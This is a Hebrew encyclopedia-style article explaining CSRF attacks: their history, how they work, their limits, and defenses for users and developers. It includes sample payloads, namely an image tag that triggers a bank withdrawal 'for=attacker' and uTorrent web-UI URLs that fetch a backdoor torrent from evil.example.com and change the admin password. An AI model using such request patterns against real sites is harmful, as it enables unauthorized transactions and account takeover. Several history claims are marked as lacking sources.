CSRF
CSRF (אנגלית: Cross Site Request Forgery) היא התקפה נגד גולש אינטרנט המאלצת את דפדפן האינטרנט של הגולש לבצע פעולות לא רצוניות ביישומי אינטרנט בשמו של המשתמש בשירות באמצעות ניצול מגבלות בפרוטוקול HTTP.
בעזרת כישורי הנדסה חברתית וניסיון בכתיבת סקריפטים, בונה התוקף עמוד נחיתה זדוני, משכנע את הקרבן להיכנס אליו ובכך יורש את זהות הקרבן וכן את הרשאות המשתמש שלו ביישום ספציפי אליו התכוון להגיע. התקפה זו יכולה בין היתר לאלץ את המשתמש להעביר כספים לגורם שלישי, לרכוש פריטים שונים, לשנות כתובת דואר אלקטרוני מוגדרת לכתובת אחרת, או להחליף תמונת פרופיל, כל זאת מבלי שהקרבן שם לב לביצוע פעולות אלה.
היסטוריה
התקפות CSRF התגלו לראשונה בשנת 2001 לאחר מספר מקרים שונים. למרות שהתגלו, היה קשה לאמת אותן כיוון שההתקפות התבצעו מכתובת ה-IP של המשתמש בשירות.[דרוש מקור]
- בשנת 2006 התגלו באתר נטפליקס, המספק שירותי וידאו והשכרת סרטים, פגיעות אשר אפשרה לתוקפים לבצע פעולות שונות בחשבונם של המשתמשים כגון: שינוי פרטי כניסה, שינוי כתובת ואף גם לשכור סרטים חדשים והוספתם אל חשבון המשתמש.[דרוש מקור]
- פגיעויות באתר הבנק האינטרנטי ING Direct, אפשרו העברות כספים לא חוקיות. [דרוש מקור]
- בשנת 2008 התגלתה פגיעות באתר YouTube המאפשרת לתוקף לשלוט באופן כמעט מלא בחשבון המשתמש של הקרבן.[דרוש מקור]
- לקוחות בנק מקסיקני התריעו על קבלת מייל עם תמונה, לחיצה עליה שולחת פקודה אל הנתב הביתי של הקרבן ומחליפה בשמם את רשומות ה-DNS של הבנק. בכל פעם שהיו מנסים לגשת לאתר של הבנק, היו הקרבנות מגיעים אל אתר זדוני ומתחזה.[דרוש מקור]
- פגיעות באתר של חברת האנטי וירוס, McAfee, אפשרה לתוקפים לשנות את מערכות החברה.[דרוש מקור]
שימוש
ההתקפה מתבצעת על ידי הצבת קישור לדף אינטרנט, פרסומת או תמונה, בפורומים, צ'אטים, דואר זבל ועוד. לאחר הלחיצה על הקישור, התוכנית מנסה לקבל גישה לאתר. לאחר שהמשתמש כבר אומת מול השרת, התוקף יוכל לבצע את פעולתו.
לדוגמה: בעזרת כישורי הנדסה חברתית תישלח אל הקרבן הודעה ותשכנע אותו ללחוץ על קישור/תמונה בהם התוקף הכניס תגים או סקריפטים:
"היי אליס! שמי בוב, ואני רוצה להציע לך ביטוח רכב ל-3 חודשים ללא עלות. לפרטים נוספים, לחצי על התמונה":
<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=attacker">
אם הבנק של אליס שומר את אימות המשתמש ובמקרה שתוקף העוגייה לא פג, לאחר שאליס תלחץ על התמונה, הדפדפן שלה ישלח בקשה להעברת כסף לחשבון של בוב ויאמת זאת באמצעות אותה העוגייה. משמעות הדבר שהעסקה תושלם בהצלחה, למרות שכל זה קורה ללא אישורה וידיעתה של אליס.
דוגמה נוספת:
פגיעות באתר הטורנטים הפופולרי uTorrent - יוטורנט (CVE-2008-6586) ניצלה את העובדה שהאתר נגיש ב-localhost:8080 ואפשרה לבצע פעולות פשוטות בעזרת פעולות GET פשוטות:
הורדת קובץ ללא הסכמת המשתמש:
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
שינוי סיסמאת האדמין של uTorrent - יוטורנט:
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin
ניתן להשתמש גם בהזנה מיוחדת של קוד HTML הנקראת BBCode באופן הבא:
[Img]http://localhost:8080/gui/?Action=add-url&shttp://evil.example.com/backdoor.torrent[/img]
במקרה של קשר בין יישום מקומי לבין קישור התקפי, הדפדפן ישלח באופן אוטומטי את כל קובצי העוגייה הקיימים של אותו היישום. תכונה זו מאפשרת להתקפות CSRF לנצל את הפגיעות שלהן ולבצע פעולות עוינות כל עוד המשתמש מחובר לאתר היעד בזמן ההתקפה.
התכונות הבאות מאפיינות התקפת CSRF:
- ההתקפה עשויה לחול על אתרים המסתמכים על זהות המשתמש.
- ההתקפה מנצלת שירותי האמון של האפליקציה.
- ההתקפה מרמה את דפדפן האינטרנט וגורמת לו לשלוח בקשת HTTP לא רצויה לאתר היעד.
- ההתקפה מכוונת את דפדפני האינטרנט לבצע פעולות מאומתות על ידי עוגיות מבלי ידיעתם של המשתמשים וללא אישורם.
הגבלות
כדי שהתקפה זו תצליח יש לשים לב למספר דברים:
- על התוקף למקד את ההתקפה על אתר שאינו בודק את הכותרת המפנה (referrer header), דפדפן או תוסף ולמצוא אתר המאפשר זיופים של הפניות.
- על התוקף למצוא אתר שבו מוגשות בקשות (טפסים) מצד הלקוח (העברות כספים, שינוי כתובת דוא"ל או סיסמה של הקרבן ועוד).
- התוקף חייב להכניס ערכים נכונים בכל הטפסים המוזנים באתר. במקרה שאחד מהתאים ידרוש מהקרבן למלא פרטים שהתוקף לא יכול לנחש, כגון: קוד אימות סודי או תעודת זהות, סביר להניח שהתקפה זו תיכשל.
- התוקף צריך לפתות את הקרבן להיכנס אל דף האינטרנט הזדוני בזמן שהקרבן עדיין מחובר לאתר אליו מכוונת התקיפה.
- זוהי התקפה עיוורת. משמעות הדבר שהתוקף אינו יכול לראות מה אתר היעד שולח בחזרה לקרבן כתגובה לבקשות המזויפות, אלא אם כן מוצאים ומנצלים באגים באתר היעד.
בעקבות אילוצים אלה, ייתכן שתוקף יתקשה למצוא קרבנות.
מניעה
הן משתמשים והן מפתחי אתרים יכולים למנוע התקפות CSRF פעילות.
התקפה מוצלחת דורשת מילוי שני תנאים:
- המשתמש חייב להיות מחובר לאתר.
- פתרון יעיל לבעיה זו הוא לבצע התנתקות מהאתר שבו בוצעה הפעולה מיד לאחר סיומה ולא לאפשר לדפדפן האינטרנט לשמור את ססמת האפליקציה.
- דפדפן הקרבן חייב לשלוח לאתר היעד בקשה לביצוע פעולה לא רצויה.
- פתרון יעיל לבעיה זו יהיה הימנעות מלחיצה על קישורים או תמונות בתכתובות דואר אלקטרוני, ולהימנע מביקור באתרים לא-מוכרים והזנת פרטים אישיים.
ישנן מספר שיטות של מפתחי אתרים המקשות לבצע התקפות CSRF:
- הגבלת זמן השהייה בחשבון - פקיעת תוקף לאחר זמן מסוים בו לא בוצעה שום פעולה.
- יש לבקש אישור מהמשתמש בעבור כל פעולה חשובה המתבצעת באתר.
- בעבור כל שליחת טופס ניתן להוסיף שדה נסתר המכיל מספר פסאודו-אקראי אשר יוגש עם הבקשה לביצוע פעולה, ואם הערך לא יוצג בטופס, השרת יתעלם מהפעולה.
- אימות הכותרת המפנה (referrer header), אשר מבטיח כי הערך זמין רק עבור סקריפטים מהדף המקורי.
- ביצוע פעולה חשודה ישלח הודעת SMS ישירות אל המשתמש מיד לאחר ניסיון הביצוע.
- שליחת בקשות בשיטת POST ולא באמצעות GET.
ראו גם
22465134CSRF